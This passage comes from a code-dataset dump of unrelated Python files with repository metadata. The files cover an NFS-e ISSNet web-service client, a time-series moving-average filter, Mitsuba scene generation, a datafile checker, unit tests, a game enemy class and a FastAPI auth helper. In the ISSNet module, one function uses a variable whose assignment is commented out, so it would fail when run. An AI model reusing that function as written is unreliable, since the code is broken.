""" signal_buy = line < lowerbound signal_sell = line > upperbound return self._combine_signals(signal_buy, signal_sell)

35.590909

78

0.585951

3,778

0.965006

0

2,014

0.514432

a1ed273b2e4ad00a56a2ecb5eabb664805ce9cd8

12,746

py

Python

src/erpbrasil/edoc/provedores/issnet.py

Engenere/erpbrasil.edoc

2e835cc191407a8261c6f27933b7660d74b5a691

[ "MIT" ]

8

2019-09-27T05:59:06.000Z

2022-01-16T21:04:04.000Z

src/erpbrasil/edoc/provedores/issnet.py

Engenere/erpbrasil.edoc

2e835cc191407a8261c6f27933b7660d74b5a691

[ "MIT" ]

18

2020-10-05T19:23:59.000Z

2022-02-22T11:39:22.000Z

src/erpbrasil/edoc/provedores/issnet.py

Engenere/erpbrasil.edoc

2e835cc191407a8261c6f27933b7660d74b5a691

[ "MIT" ]

10

2019-11-28T14:03:02.000Z

2022-02-25T14:06:14.000Z

# coding=utf-8 # Copyright (C) 2020 - TODAY, Marcel Savegnago - Escodoo from __future__ import division from __future__ import print_function from __future__ import unicode_literals import xml.etree.ElementTree as ET from datetime import datetime from erpbrasil.base import misc from erpbrasil.edoc.nfse import NFSe from erpbrasil.edoc.nfse import ServicoNFSe try: from nfselib.issnet.v1_00 import servico_cancelar_nfse_envio from nfselib.issnet.v1_00 import servico_consultar_lote_rps_envio from nfselib.issnet.v1_00 import servico_consultar_lote_rps_resposta from nfselib.issnet.v1_00 import servico_consultar_nfse_rps_envio from nfselib.issnet.v1_00 import servico_consultar_situacao_lote_rps_envio from nfselib.issnet.v1_00 import servico_consultar_situacao_lote_rps_resposta from nfselib.issnet.v1_00 import servico_enviar_lote_rps_resposta issnet = True except ImportError: issnet = False cidade = { 3543402: 'ribeiraopreto', # Ribeirão Preto - SP 3301702: 'duquedecaxias', # Duque de Caxias - RJ } endpoint = 'servicos.asmx?WSDL' if issnet: servicos = { 'envia_documento': ServicoNFSe( 'RecepcionarLoteRps', endpoint, servico_enviar_lote_rps_resposta, True), 'consulta_recibo': ServicoNFSe( 'ConsultarSituacaoLoteRPS', endpoint, servico_consultar_situacao_lote_rps_resposta, True), 'consultar_lote_rps': ServicoNFSe( 'ConsultarLoteRps', endpoint, servico_consultar_lote_rps_resposta, True), 'cancela_documento': ServicoNFSe( 'CancelarNfse', endpoint, servico_cancelar_nfse_envio, True), 'consulta_nfse_rps': ServicoNFSe( 'ConsultarNFSePorRPS', endpoint, servico_consultar_nfse_rps_envio, True), } else: servicos = () class Issnet(NFSe): _header = None def __init__(self, transmissao, ambiente, cidade_ibge, cnpj_prestador, im_prestador): if ambiente == '2': self._url = 'https://www.issnetonline.com.br/webserviceabrasf/homologacao/' else: self._url = 'https://www.issnetonline.com.br/webserviceabrasf/' + cidade[int(cidade_ibge)] + '/' self._servicos = servicos super(Issnet, self).__init__( transmissao, ambiente, cidade_ibge, cnpj_prestador, im_prestador) def get_documento_id(self, edoc): # edoc.LoteRps.ListaRps.Rps[0].InfRps.Id return edoc.LoteRps.id, edoc.LoteRps.NumeroLote def _prepara_envia_documento(self, edoc): numero_lote = self._gera_numero_lote() edoc.LoteRps.id = 'lote' + numero_lote edoc.LoteRps.NumeroLote = int(numero_lote) # # Assinamos todas as RPS e o Lote # xml_assinado = edoc # for rps in edoc.LoteRps.ListaRps.Rps: # xml_assinado = self.assin a_raiz(xml_assinado, rps.InfRps.Id, getchildren=True) # Assinamos o lote # xml_assinado = self.assina_raiz(xml_assinado, edoc.LoteRps.Id) # for rps in edoc.LoteRps.ListaRps.Rps: # xml_assinado = self.assina_raiz(xml_assinado, rps.InfRps.Id) # Assinamos o lote xml_assinado = self.assina_raiz(xml_assinado, edoc.LoteRps.id) xml_assinado = '<?xml version="1.0"?>' + xml_assinado return xml_assinado def _prepara_consulta_recibo(self, proc_envio): raiz = servico_consultar_situacao_lote_rps_envio.ConsultarSituacaoLoteRpsEnvio( # Id=self._gera_numero_lote(), Prestador=servico_consultar_situacao_lote_rps_envio.tcIdentificacaoPrestador( CpfCnpj=servico_consultar_situacao_lote_rps_envio.tcCpfCnpj( Cnpj=self.cnpj_prestador, ), InscricaoMunicipal=self.im_prestador ), Protocolo=proc_envio.resposta.Protocolo ) # xml_assinado = self.assina_raiz(raiz,"") xml_string, xml_etree = self._generateds_to_string_etree(raiz) xml_string = '<?xml version="1.0"?>' + xml_string return xml_string def _prepara_consultar_lote_rps(self, protocolo): raiz = servico_consultar_lote_rps_envio.ConsultarLoteRpsEnvio( # Id=self._gera_numero_lote(), Prestador=servico_consultar_lote_rps_envio.tcIdentificacaoPrestador( CpfCnpj=servico_consultar_lote_rps_envio.tcCpfCnpj( Cnpj=self.cnpj_prestador, ), InscricaoMunicipal=self.im_prestador ), Protocolo=protocolo ) # xml_assinado = self.assina_raiz(raiz, raiz.Id) xml_string, xml_etree = self._generateds_to_string_etree(raiz) xml_string = '<?xml version="1.0"?>' + xml_string return xml_string def _verifica_resposta_envio_sucesso(self, proc_envio): if proc_envio.resposta.Protocolo: return True return False def _edoc_situacao_em_processamento(self, proc_recibo): if proc_recibo.resposta.Situacao == 2: return True return False def _prepara_cancelar_nfse_envio(self, doc_numero): raiz = servico_cancelar_nfse_envio.tcPedidoCancelamento( InfPedidoCancelamento=servico_cancelar_nfse_envio.tcInfPedidoCancelamento( id=doc_numero, IdentificacaoNfse=servico_cancelar_nfse_envio.tcIdentificacaoNfse( Numero=doc_numero, Cnpj=self.cnpj_prestador, InscricaoMunicipal=self.im_prestador, CodigoMunicipio=self.cidade if self.ambiente == '1' else 999, ), CodigoCancelamento='0001' ) ) # Foi codificado desta forma porque a assinatura fica dentro da tag Pedido. Acredito que de para melhorar. pedido = self.assina_raiz(raiz, '') xml_assinado = '<?xml version="1.0"?>' \ '<p1:CancelarNfseEnvio ' \ 'xmlns:p1="http://www.issnetonline.com.br/webserviceabrasf/vsd/servico_cancelar_nfse_envio.xsd" ' \ 'xmlns:tc="http://www.issnetonline.com.br/webserviceabrasf/vsd/tipos_complexos.xsd" ' \ 'xmlns:ts="http://www.issnetonline.com.br/webserviceabrasf/vsd/tipos_simples.xsd">' \ + pedido + '</p1:CancelarNfseEnvio>' xml_assinado = xml_assinado.replace('tcPedidoCancelamento', 'Pedido') return xml_assinado def _prepara_consultar_nfse_rps(self, **kwargs): rps_numero = kwargs.get('rps_number') rps_serie = kwargs.get('rps_serie') rps_tipo = kwargs.get('rps_type') raiz = servico_consultar_nfse_rps_envio.ConsultarNfseRpsEnvio( IdentificacaoRps=servico_consultar_nfse_rps_envio.tcIdentificacaoRps( Numero=rps_numero, Serie=rps_serie, Tipo=rps_tipo, ), Prestador=servico_consultar_nfse_rps_envio.tcIdentificacaoPrestador( CpfCnpj=servico_consultar_nfse_rps_envio.tcCpfCnpj( Cnpj=self.cnpj_prestador, ), InscricaoMunicipal=self.im_prestador ), ) xml_string, xml_etree = self._generateds_to_string_etree(raiz) xml_string = '<?xml version="1.0"?>' + xml_string return xml_string def analisa_retorno_consulta(self, processo, number, company_cnpj_cpf, company_legal_name): mensagem = '' res = {} retorno = ET.fromstring(processo.retorno) nsmap = {'consulta': 'http://www.issnetonline.com.br/webserviceabrasf/vsd/' 'servico_consultar_nfse_rps_resposta.xsd', 'tc': 'http://www.issnetonline.com.br/webserviceabrasf/vsd/' 'tipos_complexos.xsd'} if processo.webservice == 'ConsultarNFSePorRPS': enviado = retorno.findall( ".//consulta:CompNfse", namespaces=nsmap) nao_encontrado = retorno.findall( ".//consulta:MensagemRetorno", namespaces=nsmap) if enviado: # NFS-e já foi enviada cancelada = retorno.findall( ".//consulta:NfseCancelamento", namespaces=nsmap) if cancelada: # NFS-e enviada foi cancelada data = retorno.findall( ".//consulta:DataHora", namespaces=nsmap)[0].text data = datetime.strptime(data, '%Y-%m-%dT%H:%M:%S'). \ strftime("%m/%d/%Y") mensagem = 'NFS-e cancelada em ' + data else: numero_retorno = \ retorno.findall(".//tc:InfNfse/tc:Numero", namespaces=nsmap)[0].text cnpj_prestador_retorno = retorno.findall( ".//tc:IdentificacaoPrestador/tc:CpfCnpj/tc:Cnpj", namespaces=nsmap)[0].text razao_social_prestador_retorno = retorno.findall( ".//tc:PrestadorServico/tc:RazaoSocial", namespaces=nsmap)[0].text verify_code = \ retorno.findall(".//tc:InfNfse/tc:CodigoVerificacao", namespaces=nsmap)[0].text authorization_date = \ retorno.findall(".//tc:InfNfse/tc:DataEmissao", namespaces=nsmap)[0].text variables_error = [] if number and numero_retorno != number: variables_error.append('Número') if cnpj_prestador_retorno != misc.punctuation_rm( company_cnpj_cpf): variables_error.append('CNPJ do prestador') if razao_social_prestador_retorno != company_legal_name: variables_error.append('Razão Social de prestador') if variables_error: mensagem = 'Os seguintes campos não condizem com' \ ' o provedor NFS-e: \n' mensagem += '\n'.join(variables_error) else: mensagem = "NFS-e enviada e corresponde com o provedor" res['codigo_verificacao'] = verify_code res['numero'] = numero_retorno res['data_emissao'] = authorization_date return mensagem, res elif nao_encontrado: # NFS-e não foi enviada mensagem_erro = retorno.findall( ".//tc:Mensagem", namespaces=nsmap)[0].text correcao = retorno.findall( ".//tc:Correcao", namespaces=nsmap)[0].text codigo = retorno.findall( ".//tc:Codigo", namespaces=nsmap)[0].text mensagem = (codigo + ' - ' + mensagem_erro + ' - Correção: ' + correcao + '\n') else: mensagem = 'Erro desconhecido.' return mensagem def analisa_retorno_cancelamento(self, processo): if processo.webservice in ['CancelarNfse']: mensagem_completa = '' situacao = True retorno = ET.fromstring(processo.retorno) sucesso = retorno.findall( ".//{http://www.issnetonline.com.br/webserviceabrasf/vsd/" "tipos_complexos.xsd}Sucesso") if not sucesso: mensagem_erro = retorno.findall( ".//{http://www.issnetonline.com.br/webserviceabrasf/vsd/" "tipos_complexos.xsd}Mensagem")[ 0].text correcao = retorno.findall( ".//{http://www.issnetonline.com.br/webserviceabrasf/vsd/" "tipos_complexos.xsd}Correcao")[ 0].text codigo = retorno.findall( ".//{http://www.issnetonline.com.br/webserviceabrasf/vsd/" "tipos_complexos.xsd}Codigo")[ 0].text mensagem_completa += ( codigo + ' - ' + mensagem_erro ) if correcao: mensagem_completa += (' - Correção: ' + correcao + '\n') situacao = False return situacao, mensagem_completa

40.722045

122

0.581751

10,899

0.854421

0

2,950

0.231264

a1ed89cc5c2446b1fe11b61f094fef9e3b0b2652

1,647

py

Python

python/filter_MA.py

vsellemi/macroeconomic-forecasting

a5ad1b88daae084f258c0f5e5b9bd9d145934375

[ "MIT" ]

3

2021-11-29T11:18:40.000Z

2021-12-21T15:05:06.000Z

python/filter_MA.py

vsellemi/macroeconomic-forecasting

a5ad1b88daae084f258c0f5e5b9bd9d145934375

[ "MIT" ]

null

python/filter_MA.py

vsellemi/macroeconomic-forecasting

a5ad1b88daae084f258c0f5e5b9bd9d145934375

[ "MIT" ]

4

2021-11-29T11:18:48.000Z

2021-12-22T01:36:59.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Apr 7 14:40:40 2021 @author: victorsellemi """ import numpy as np def filter_MA(Y,q = 2): """ DESCRIPTION: Decompose a time series into a trend and stationary component using the moving average (MA) filter (i.e., low pass filter) INPUT: Y = (T x 1) vector of time series data q = scalar value of moving average (half) window: default = 2 OUTPUT: trend = (T x 1) vector of trend component of the time series, i.e., low frequency component error = (T x 1) vector of stationary part of the time series """ # length of time series T = Y.shape[0] # window width Q = 2*q # border of the series is preserved p1 = np.concatenate((np.eye(q), np.zeros((q,T-q))), axis = 1) p2 = np.zeros((T-Q,T)) p3 = np.concatenate((np.zeros((q,T-q)), np.eye(q)), axis = 1) P = np.concatenate((p1,p2,p3), axis = 0) # part of the series to be averaged X = np.eye(T-Q) Z = np.zeros((T-Q,1)) for i in range(Q): # update X X = np.concatenate((X, np.zeros((T-Q,1))), axis = 1) + np.concatenate((Z, np.eye(T-Q)), axis = 1) # update Z Z = np.concatenate((Z, np.zeros((T-Q,1))), axis = 1) X = np.concatenate((np.zeros((q,T)), X, np.zeros((q,T))), axis = 0) # construct linear filter L = P + (1/(Q+1)) * X # construct the trend trend = L.dot(Y) # construct stationary component signal = Y - trend return trend,signal

24.58209

105

0.538555

0

821

0.498482

a1ed8f64fdb7a590a23d44e6a7e10803d5c52975

3,480

py

Python

LightFields/xmlFiles/generateXMLFiles.py

sudarshannagesh90/OptimizationDeepLearningImageProcessing

36ab96ce29a2403166f8f176eb84062c2db7cc6e

[ "MIT" ]

null

LightFields/xmlFiles/generateXMLFiles.py

sudarshannagesh90/OptimizationDeepLearningImageProcessing

36ab96ce29a2403166f8f176eb84062c2db7cc6e

[ "MIT" ]

null

LightFields/xmlFiles/generateXMLFiles.py

sudarshannagesh90/OptimizationDeepLearningImageProcessing

36ab96ce29a2403166f8f176eb84062c2db7cc6e

[ "MIT" ]

null

import xml.etree.ElementTree as etree import xml.dom.minidom import subprocess import os import imageio import h5py import numpy as np def createXMLstring(filename,scaleVal,cameraPosX,cameraPosY): scene = etree.Element("scene",version="0.5.0") sensor = etree.SubElement(scene, "sensor", type="perspective") sensor_transform = etree.SubElement(sensor,"transform",name="toWorld") etree.SubElement(sensor_transform,"lookat",origin=str(5)+","+cameraPosX+","+cameraPosY,target="0,0,0",up="0,1,0") sensor_sampler = etree.SubElement(sensor,"sampler",type="ldsampler") etree.SubElement(sensor_sampler,"integer",name="sampleCount",value="128") sensor_film = etree.SubElement(sensor,"film",type="ldrfilm") etree.SubElement(sensor_film,"boolean",name="banner",value="false") etree.SubElement(sensor_film,"integer",name="width",value="400") etree.SubElement(sensor_film,"integer",name="height",value="400") shapeObj = etree.SubElement(scene,"shape",type="obj") shapeObj_string = etree.SubElement(shapeObj,"string",name="filename",value=filename+".obj") shapeObj_transform = etree.SubElement(shapeObj,"transform",name="toWorld") etree.SubElement(shapeObj_transform,"scale",value=scaleVal) etree.SubElement(shapeObj_transform,"rotate",angle="60",y="1") rough_string = etree.tostring(scene, "utf-8") reparsed = xml.dom.minidom.parseString(rough_string) reparsed_pretty = reparsed.toprettyxml(indent=" " * 4) return reparsed_pretty def create_h5(data, label, path, file_name): with h5py.File(os.path.join(path, file_name), 'w') as file: file.create_dataset("data", data = data) file.create_dataset("label", data = label) filenames = ["airboat","al","alfa147","cessna","cube","diamond","dodecahedron","gourd","humanoid_quad","humanoid_tri","icosahedron","lamp","magnolia","minicooper","octahedron","power_lines","roi","sandal","shuttle","skyscraper","slot_machine","teapot","tetrahedron","violin_case"] scaleVal = [0.5,0.5,0.01,0.08,0.5,0.01,0.5,0.5,0.1,0.1,0.5,0.2,0.025,0.01,0.5,0.07,0.02,0.2,0.1,0.03,0.1,0.01,0.5,0.5] index = 0 cameraPosOrigin = [5,1,-3] deltaCam = 0.1 hr_image = [] lr_image = [] destination_path = "/home/sudarshan/git/OptimizationDeepLearningImageProcessing/LightFields/h5Files/" dataset_name = "generatedLightFields" for filename in filenames: HRindex = 0 with imageio.get_writer(filename+"/"+filename+".gif", mode='I') as writer: for indx in range(-2,3): for indy in range(-2,3): cwd = os.getcwd() directory = cwd+"/"+filename+"/" if not os.path.exists(directory): os.makedirs(directory) cameraPos = [5, cameraPosOrigin[1]+indx*deltaCam,cameraPosOrigin[2]+indy*deltaCam] XMLstring = createXMLstring(filename,str(scaleVal[index]),str(cameraPos[1]),str(cameraPos[2])) with open(directory+filename+str(indx)+str(indy)+".xml", "w") as cube_xml: cube_xml.write(XMLstring) cmd = ["mitsuba", filename+"/"+filename+str(indx)+str(indy)+".xml"] cmd_out = subprocess.check_output(cmd) image = imageio.imread(filename+"/"+filename+str(indx)+str(indy)+".png") hr_image.append(np.asarray(image)) HRindex = HRindex+1 if indx == 0 and indy == 0: lr_image.append(np.asarray(image)) writer.append_data(image) print(["Completed index: "+str(index)]) index = index+1 create_h5(data = lr_image, label = hr_image, path = destination_path, file_name = dataset_name+"training.h5") print("data of length ", len(lr_image), "and label of length ", len(hr_image))

47.027027

280

0.72069

0

788

0.226437

a1ee7d9e488784cc542ed9f4aaf3c9cd7f803d7f

3,001

py

Python

_old/test.py

DanielRabl/libtw2

ebcc833aa418e0ee25ff1da2881f7102dc7efa5d

[ "Apache-2.0", "MIT" ]

30

2017-07-21T19:05:07.000Z

2022-01-14T16:24:53.000Z

_old/test.py

DanielRabl/libtw2

ebcc833aa418e0ee25ff1da2881f7102dc7efa5d

[ "Apache-2.0", "MIT" ]

50

2017-11-20T16:43:05.000Z

2022-03-02T21:37:45.000Z

_old/test.py

DanielRabl/libtw2

ebcc833aa418e0ee25ff1da2881f7102dc7efa5d

[ "Apache-2.0", "MIT" ]

12

2017-07-21T19:05:10.000Z

2021-04-09T20:22:58.000Z

import datafile from collections import defaultdict def check_versions(df): result = [] if len(df.types[0]) < 1: result.append('no version') return result if len(df.types[0]) > 1: result.append('multiple versions') try: version = df.types[0][0] except IndexError: result.append('version id not 1') return result if len(version.data) < 1: result.append('version too small') return result if len(version.data) > 1: result.append('version bigger than expected') if version.data[0] != 1: result.append('version not 1') result.append(version.data[0]) return result #struct CMapItemImage_v1 #{ # int m_Version; # int m_Width; # int m_Height; # int m_External; # int m_ImageName; # int m_ImageData; #} ; #struct CMapItemImage : public CMapItemImage_v1 #{ # enum { CURRENT_VERSION=2 }; # int m_Format; #}; def check_images(df): for image_item in df.types[2]: if 0 <= image_item.data[3] <= 1: if image_item.data[3]: continue else: print(df) pass#print("<what?>") print(image_item.data[3]) name_index = image_item.data[4] try: name = df.data[name_index] except datafile.DatafileDataUncompressError: name = "<none>" #print(name) return [] def main(): import argparse p = argparse.ArgumentParser() p.add_argument('filenames', metavar="DATAFILE", type=str, nargs='+', help="a datafile to be processed") p.add_argument('-s', '--summary', action='store_true', help="show summary") p.add_argument('-i', '--images', action='store_true', help="extract information about images") p.add_argument('-v', '--versions', action='store_true', help="extract information about versions") args = p.parse_args() tasks = [] if args.images: tasks.append('images') if args.versions: tasks.append('versions') do_tasks = {'images': check_images, 'versions': check_versions} results = {} for task in tasks: results[task] = defaultdict(lambda: set()) errors = defaultdict(lambda: set()) versions = defaultdict(lambda: set()) images = defaultdict(lambda: set()) for filename in args.filenames: true_filename = filename filename = filename.encode('utf-8', errors='ignore').decode('utf-8') try: df = datafile.Datafile(true_filename) except datafile.DatafileError as e: errors[e.__class__].add(filename) print("{}: {}".format(filename, repr(e))) else: try: for task in tasks: for result in do_tasks[task](df): results[task][result].add(filename) finally: df.close() if args.summary: print() print("Error statistics:") for err, filenames in errors.items(): print("### {}: {}, {}".format(err.__name__, len(filenames), " ".join(sorted(filenames)))) print() print("Results:") for task, result in results.items(): print("# {}:".format(task)) for desc, filenames in sorted(result.items(), key=lambda x: len(x[1]), reverse=True): print("### {}: {}, {}".format(desc, len(filenames), " ".join(sorted(filenames)[:20]))) if __name__ == '__main__': import sys sys.exit(main())

25.008333

104

0.673775

0

741

0.246918

a1ee7de4317afbc181dee20858eea2b69d2fac4c

5,414

py

Python

tests/test_rotate_3dmarkers.py

CRBS/etspecutil

d0b42730545cbf04e0cb222a40845e19ff9ee3f0

[ "OLDAP-2.6", "Python-2.0" ]

null

tests/test_rotate_3dmarkers.py

CRBS/etspecutil

d0b42730545cbf04e0cb222a40845e19ff9ee3f0

[ "OLDAP-2.6", "Python-2.0" ]

null

tests/test_rotate_3dmarkers.py

CRBS/etspecutil

d0b42730545cbf04e0cb222a40845e19ff9ee3f0

[ "OLDAP-2.6", "Python-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """ test_rotate_3dmarkers ---------------------------------- Tests for `rotate_3dmarkers` module. """ import sys import unittest import os.path import tempfile import shutil import logging from etspecutil.marker import MarkersList from etspecutil.marker import MarkersFrom3DMarkersFileFactory from etspecutil import rotate_3dmarkers from etspecutil.rotate_3dmarkers import Parameters class TestRotate3DMarkers(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_setup_logging(self): theargs = Parameters() theargs.loglevel = 'DEBUG' rotate_3dmarkers._setup_logging(theargs) self.assertEqual(rotate_3dmarkers.logger.getEffectiveLevel(), logging.DEBUG) theargs.loglevel = 'INFO' rotate_3dmarkers._setup_logging(theargs) self.assertEqual(rotate_3dmarkers.logger.getEffectiveLevel(), logging.INFO) theargs.loglevel = 'WARNING' rotate_3dmarkers._setup_logging(theargs) self.assertEqual(rotate_3dmarkers.logger.getEffectiveLevel(), logging.WARNING) theargs.loglevel = 'ERROR' rotate_3dmarkers._setup_logging(theargs) self.assertEqual(rotate_3dmarkers.logger.getEffectiveLevel(), logging.ERROR) theargs.loglevel = 'CRITICAL' rotate_3dmarkers._setup_logging(theargs) self.assertEqual(rotate_3dmarkers.logger.getEffectiveLevel(), logging.CRITICAL) def test_parse_arguments(self): theargs = rotate_3dmarkers._parse_arguments('hi', ['foo']) self.assertEqual(theargs.markerfile, 'foo') self.assertEqual(theargs.outfile, None) self.assertEqual(theargs.angle, 90) self.assertEqual(theargs.width, 1080) self.assertEqual(theargs.height, 1080) self.assertEqual(theargs.loglevel, 'WARNING') targs = rotate_3dmarkers._parse_arguments('hi', ['--angle', '45', '--outfile', 'out', '--width', '10', '--height', '20', '--log', 'DEBUG', 'foo2']) self.assertEqual(targs.markerfile, 'foo2') self.assertEqual(targs.outfile, 'out') self.assertEqual(targs.angle, 45) self.assertEqual(targs.width, 10) self.assertEqual(targs.height, 20) self.assertEqual(targs.loglevel, 'DEBUG') def test_rotate_markers_file_outfile_set_to_none(self): temp_dir = tempfile.mkdtemp() try: markerfile = os.path.join(temp_dir, '3Dmarkers.txt') markers = MarkersList() markers.add_marker(1, 2, 3, 4) markers.write_markers_to_file(markerfile) theargs = Parameters() theargs.outfile = None theargs.angle = 90 theargs.width = 10 theargs.height = 10 theargs.markerfile = markerfile rotate_3dmarkers.rotate_markers_file(theargs) origfile = markerfile + '.orig' self.assertTrue(os.path.isfile(origfile)) fac = MarkersFrom3DMarkersFileFactory(origfile) markers = fac.get_markerslist() m = markers.get_markers()[0] self.assertEqual(m.get_index(), 1) self.assertEqual(m.get_x(), 2) self.assertEqual(m.get_y(), 3) self.assertEqual(m.get_z(), 4) self.assertTrue(os.path.isfile(markerfile)) fac = MarkersFrom3DMarkersFileFactory(markerfile) markers = fac.get_markerslist() m = markers.get_markers()[0] self.assertEqual(m.get_index(), 1) self.assertEqual(m.get_x(), 7) self.assertEqual(m.get_y(), 2) self.assertEqual(m.get_z(), 4) finally: shutil.rmtree(temp_dir) def test_rotate_markers_file_outfile_set(self): temp_dir = tempfile.mkdtemp() try: markerfile = os.path.join(temp_dir, '3Dmarkers.txt') markers = MarkersList() markers.add_marker(1, 2, 3, 4) markers.write_markers_to_file(markerfile) outfile = os.path.join(temp_dir, 'out') theargs = Parameters() theargs.outfile = outfile theargs.angle = 90 theargs.width = 10 theargs.height = 10 theargs.markerfile = markerfile rotate_3dmarkers.rotate_markers_file(theargs) self.assertTrue(os.path.isfile(markerfile)) fac = MarkersFrom3DMarkersFileFactory(outfile) markers = fac.get_markerslist() m = markers.get_markers()[0] self.assertEqual(m.get_index(), 1) self.assertEqual(m.get_x(), 7) self.assertEqual(m.get_y(), 2) self.assertEqual(m.get_z(), 4) finally: shutil.rmtree(temp_dir) def test_main(self): try: rotate_3dmarkers.main() self.fail('Expected OSError') except OSError: pass if __name__ == '__main__': sys.exit(unittest.main())

35.155844

76

0.579424

4,919

0.90857

0

376

0.06945

a1efd6d129721046eb1d2381c5f7945eeeb81f90

431

py

Python

tests/conftest.py

asvetlov/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

24

2016-12-25T16:24:45.000Z

2020-04-07T14:39:28.000Z

tests/conftest.py

jettify/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

168

2016-11-12T20:50:34.000Z

2022-03-18T02:09:08.000Z

tests/conftest.py

jettify/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

9

2016-12-13T10:48:26.000Z

2020-09-17T10:42:40.000Z

import sys import pytest import aiohttp_mako from aiohttp import web @pytest.fixture def app(): app = web.Application() lookup = aiohttp_mako.setup(app, input_encoding='utf-8', output_encoding='utf-8', default_filters=['decode.utf8']) tplt = "<html><body><h1>${head}</h1>${text}</body></html>" lookup.put_string('tplt.html', tplt) return app

22.684211

64

0.584687

0

357

0.828306

0

89

0.206497

a1f3d906821dbcf88254a5e1e8e69f73b13693e7

3,583

py

Python

CraftMasterGame/src/enemy.py

Athelios/CraftMaster

636cc60681d3199b3ae685690ee427fe81672541

[ "MIT" ]

null

CraftMasterGame/src/enemy.py

Athelios/CraftMaster

636cc60681d3199b3ae685690ee427fe81672541

[ "MIT" ]

null

CraftMasterGame/src/enemy.py

Athelios/CraftMaster

636cc60681d3199b3ae685690ee427fe81672541

[ "MIT" ]

null

from npc import * import math from pyglet import image from pyglet.graphics import TextureGroup import os import json class Enemy(Npc): def __init__(self, world, position, health, dy=0, walkSpeed=5, flying=False, flySpeed=10, height=1, jumpHeight=1.0): super(Enemy, self).__init__(world, position, health, dy, walkSpeed, flying, flySpeed, height, jumpHeight) self.model = self.createModel(world) self.rotateSelfY(-math.pi/2) with open(os.path.join('animation', 'enemy.anim'), 'r') as file: self.animation = json.load(file) self.frames = [0, 0, 0] self.attacking = False def createModel(self, world): texture0 = TextureGroup(image.load(os.path.join("texture", "zombie0.png")).get_texture()) texture1 = TextureGroup(image.load(os.path.join("texture", "zombie1.png")).get_texture()) x, y, z = self.position cube1 = createCube(world, texture0, x + 0.15, y + 0.15, z, 0.29, 0.7, 0.25) cube2 = createCube(world, texture0, x - 0.15, y + 0.15, z, 0.29, 0.7, 0.25) cube3 = createCube(world, texture0, x, y + 0.8, z, 0.6, 0.7, 0.3) cube4 = createCube(world, texture0, x + 0.4, y + 0.8, z, 0.2, 0.7, 0.2) cube5 = createCube(world, texture0, x - 0.4, y + 0.8, z, 0.2, 0.7, 0.2) cube6 = createCube(world, texture1, x, y + 1.3, z, 0.5, 0.5, 0.5) model = [cube1, cube2, cube3, cube4, cube5, cube6] return model def ai(self, world): if 2 < self.distanceTo(world.player) < 20: self.goal = list(world.player.position) self.goal = (int(round(self.goal[0])), int(round(self.goal[1])) - 1, int(round(self.goal[2]))) if self.counter % 20 == 0: self.navigation.navigate() elif self.distanceTo(world.player) <= 2: self.goal = None if self.energy == 100: self.attack(world.player) else: self.goal = None def attack(self, player): vector = [10*(player.position[0] - self.position[0]), 10*(player.position[2] - self.position[2]), 10] player.hit(vector) self.attacking = True self.energy = 0 def update(self, dt, world): if not self.stunned: self.ai(world) if self.goal: self.navigate() else: if self.stunned == 1: self.goal = list(self.world.player.position) self.navigation.navigate() delta = [self.position[0] - self.lastPosition[0], self.position[1] - self.lastPosition[1], self.position[2] - self.lastPosition[2]] for shape in self.model: for part in shape: for i in range(0, len(part.vertices), 3): part.vertices[i] += delta[0] part.vertices[i + 1] += delta[1] part.vertices[i + 2] += delta[2] walk = delta[0] != 0 or delta[2] != 0 self.walking = self.walking or walk if self.distanceTo(world.player) <= 3: delta = [world.player.position[0] - self.position[0], world.player.position[1] - self.position[1], world.player.position[2] - self.position[2]] theta = self.angle(self.sight, [delta[0], delta[2]]) if delta[0] != 0 or delta[2] != 0: self.rotateSelfY(theta) self.sight = [delta[0], delta[2]] self.lastPosition = list(self.position) self.counter += 1 self.energy = min(self.energy + 2, 100) self.animate() super(Enemy, self).update(dt, world)

42.654762

155

0.568518

3,462

0.966229

0

70

0.019537

a1f67693d5e8c244c0eda84f1334ad34e26d18f3

754

py

Python

goldsrc/mdl/structs/bodypart.py

half5life/SourceIO

f3dc6db92daa537acbb487ce09f371866f6e3e7f

[ "MIT" ]

1

2021-07-12T12:55:27.000Z

goldsrc/mdl/structs/bodypart.py

half5life/SourceIO

f3dc6db92daa537acbb487ce09f371866f6e3e7f

[ "MIT" ]

null

goldsrc/mdl/structs/bodypart.py

half5life/SourceIO

f3dc6db92daa537acbb487ce09f371866f6e3e7f

[ "MIT" ]

null

from typing import List from .model import StudioModel from ....source_shared.base import Base from ....utilities.byte_io_mdl import ByteIO class StudioBodypart(Base): def __init__(self): self.name = '' self.model_count = 0 self.base = 0 self.model_offset = 0 self.models: List[StudioModel] = [] def read(self, reader: ByteIO): self.name = reader.read_ascii_string(64) (self.model_count, self.base, self.model_offset) = reader.read_fmt('3i') with reader.save_current_pos(): reader.seek(self.model_offset) for _ in range(self.model_count): model = StudioModel() model.read(reader) self.models.append(model)

30.16

80

0.619363

610

0.809019

0

6

0.007958

a1f747225cd20292d907c35e437ba676e03d1874

511

py

Python

app/core/auth.py

oxfn/owtest

f4eeae225ef67684d96edd5708c44a0fd639d037

[ "Unlicense" ]

null

app/core/auth.py

oxfn/owtest

f4eeae225ef67684d96edd5708c44a0fd639d037

[ "Unlicense" ]

null

app/core/auth.py

oxfn/owtest

f4eeae225ef67684d96edd5708c44a0fd639d037

[ "Unlicense" ]

null

from fastapi import Depends from fastapi.exceptions import HTTPException from fastapi.security import OAuth2PasswordBearer from app.models.users import User, UserRepository get_token = OAuth2PasswordBearer(tokenUrl="/login") async def get_user( token: str = Depends(get_token), users: UserRepository = Depends() ) -> User: """Get current authenticated user.""" user = await users.get(token=token) if user: return user raise HTTPException(status_code=403, detail="Invalid token")

28.388889

70

0.749511

0

281

0.549902

60

0.117417

a1f94bf8941a2359311bcdccf3b7596591d7d459

1,449

py

Python

hard-gists/4471462/snippet.py

jjhenkel/dockerizeme

eaa4fe5366f6b9adf74399eab01c712cacaeb279

[ "Apache-2.0" ]

21

2019-07-08T08:26:45.000Z

2022-01-24T23:53:25.000Z

hard-gists/4471462/snippet.py

jjhenkel/dockerizeme

eaa4fe5366f6b9adf74399eab01c712cacaeb279

[ "Apache-2.0" ]

5

